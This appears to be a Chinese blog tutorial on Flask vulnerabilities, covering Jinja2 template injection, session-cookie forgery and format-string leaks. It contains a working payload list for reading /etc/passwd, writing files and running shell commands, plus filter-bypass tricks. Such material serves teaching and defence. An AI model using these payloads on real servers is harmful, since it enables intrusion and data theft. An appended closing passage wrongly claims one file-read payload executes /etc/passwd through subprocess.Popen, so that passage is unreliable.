python框架漏洞_flask框架漏洞

一、简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。Flask 依赖两个外部库: Jinja2模板引擎和WSGI 工具集。

1、常用概念

WSGI 只是一种接口,它只适用于 Python 语言,其全称为 Web Server Gateway Interface,定义了 web服务器和 web应用之间的接口规范。也就是说,只要 web服务器和 web应用都遵守WSGI协议,那么 web服务器和 web应用就可以随意的组合。

flask使用Jinja作为模板语言,模板应该放在myapp/templates/——一个在应用文件夹里面的目录。Jinja有两种定界符:{% ... %}和{{ ... }}。前者用于执行类似循环或赋值的语句,后者向模板输出表达式求值的结果。

2、Jinja2

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])

def test():

code = request.args.get('test')

html = '%s'

return html%code

flask使用的渲染引擎是Jinja2,我们可以直接return一些HTML代码来实现网页的格式化,但是这样会导致XSS漏洞.。

为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染。

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])

def test():

html='{{var}}'

test = request.args.get('test')

return render_template_string(html,var=test)

{{}}为变量包裹标示符,在render_template_string传参即可替换{{var}}为GET传参变量test,再次进行XSS实验,可以看到已经被转义了。

可以借助render_template从templates文件夹中加载我们想要的html文件,然后对里面的内容进行修改输出。

this is template html file

get var {{var}}

from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')

def test():

return render_template('index.html',var="test")

使用render_template函数引用了templates文件夹下面的index.html模板,然后传入一个参数var,用来控制模板中的{{var}}。

二、SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入

,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

1、基础知识

在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。

在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

2、漏洞成因

将参数当字符串来渲染并且使用了%(request.url)导致模版渲染可控。如下:

from flask import Flask

from flask import render_template

from flask import request

from flask import render_template_string

app = Flask(__name__)

@app.route('/test',methods=['GET', 'POST'])

def test():

template = '''

Oops! That page doesn't exist.

%s

''' %(request.url)

return render_template_string(template)

if __name__ == '__main__':

app.debug = True

app.run()

漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,经过固定模版的渲染便不可控了。

3、漏洞利用

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

(1)类说明

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。

class,返回当前对象所属的类。

base 和 bases 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。

mro给出了method resolution order,即解析方法调用的顺序。以元组形式返回继承关系链。

在python中,每个类都有一个bases属性,列出其基类。

mro给出了method resolution order,即解析方法调用的顺序。

subclasses() 方法返回的是这个类的子类的集合,也就是object类的子类的集合。

globals以dict形式返回函数所在模块命名空间中的所有变量。

可以通过dir(object)列出python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用。POC的编写就是需要找到合适的类,然后从合适的类中寻找我们需要的方法。

(2)寻找方法

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。

可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

1、获取’‘的类对象:''.__class__

2、追溯继承树:''.__class__.__mro__

3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()

4、找到可执行命令或者读文件的方法,找到第40个为 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

(3)常用payload

经常会有paylaod打不通的情况类所在的索引随环境变换而不一样,下标也应随之改变,所以打不通可以再找一个能利用的类。

构造继承链的思路是

1)随便找一个内置类对象用class拿到他所对应的类

2)用bases拿到基类()

3)用subclasses()拿到子类列表

在子类列表中直接寻找可以利用的类。

python3

- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}

- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2

- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines

- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"

- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}

{{ config.from_pyfile('/tmp/owned.cfg') }}

-

python2、python3共有,可命令执行:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}

{% if c.__name__ == '_IterationGuard': %}

{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}

{% endif %}

{% endfor %}

4、一些绕过tips

(1)过滤[]等括号

使用gititem绕过。如原poc {{"".class.bases[0]}}

绕过后{{"".class.bases.getitem(0)}}

(2)过滤了subclasses,拼凑法

原poc{{"".class.bases[0].subclasses()}}

绕过 {{"".class.bases[0]['subcla'+'sses']}}

(3)过滤class,使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

(4)timeit姿势

import timeit

timeit.timeit("__import__('os').system('dir')",number=1)

import platform

print platform.popen('dir').read()

三、session漏洞

1、介绍

客户端请求服务端时,服务端会为客户端创建一个Session,并检查请求中是否包含Session ID。一般来说,Session ID则以Cookie的形式保存在客户端。但这种方式有一个弊端就是如果客户端禁用了Cookie,那么Session机制将无法正常工作。

session介绍

2、flask session

将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

(1)flask session 分析

flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw

通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。

json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。

从cookie获取session的过程便是验证签名->验证是否过期->解码。

(2)漏洞成因

漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。

** 需要特别注意的是python2与python3下产生的timestamp是不一样的!!!**

(3)利用工具:

通过上述脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。

四、格式化字符串问题

在 python 中,提供了 4种 主要的格式化字符串方式。

1、第一种:%操作符

%操作符 沿袭C语言中printf语句的风格。

>>> name = 'Bob'

>>> 'Hello, %s' % name

"Hello, Bob"

2、第二种:string.Template

使用标准库中的模板字符串类进行字符串格式化。

>>> name = 'Bob'

>>> from string import Template

>>> t = Template('Hey, $name!')

>>> t.substitute(name=name)

'Hey, Bob!'

3、第三种:调用format方法

python3后引入的新版格式化字符串写法,但是这种写法存在安全隐患。

>>> name , errno = 'Bob' , 50159747054

>>> 'Hello, {}'.format(name)

'Hello, Bob'

>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)

'Hey Bob, there is a 0xbadc0ffee error!'

安全隐患事例如下:

>>> config = {'SECRET_KEY': '12345'}

>>> class User(object):

... def __init__(self, name):

... self.name = name

...

>>> user = User('joe')

>>> '{0.__class__.__init__.__globals__[config]}'.format(user)

"{'SECRET_KEY': '12345'}"

如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。

4、第四种:f-Strings

这是python3.6之后新增的一种格式化字符串方式,即'``'其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

>>> a , b = 5 , 10

>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'

'Five plus ten is 15 and not 30.'

>>> f'{__import__("os").system("id")}'

uid=0(root) gid=0(root) groups=0(root)

'0'

五、实例

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞,开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python 的安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值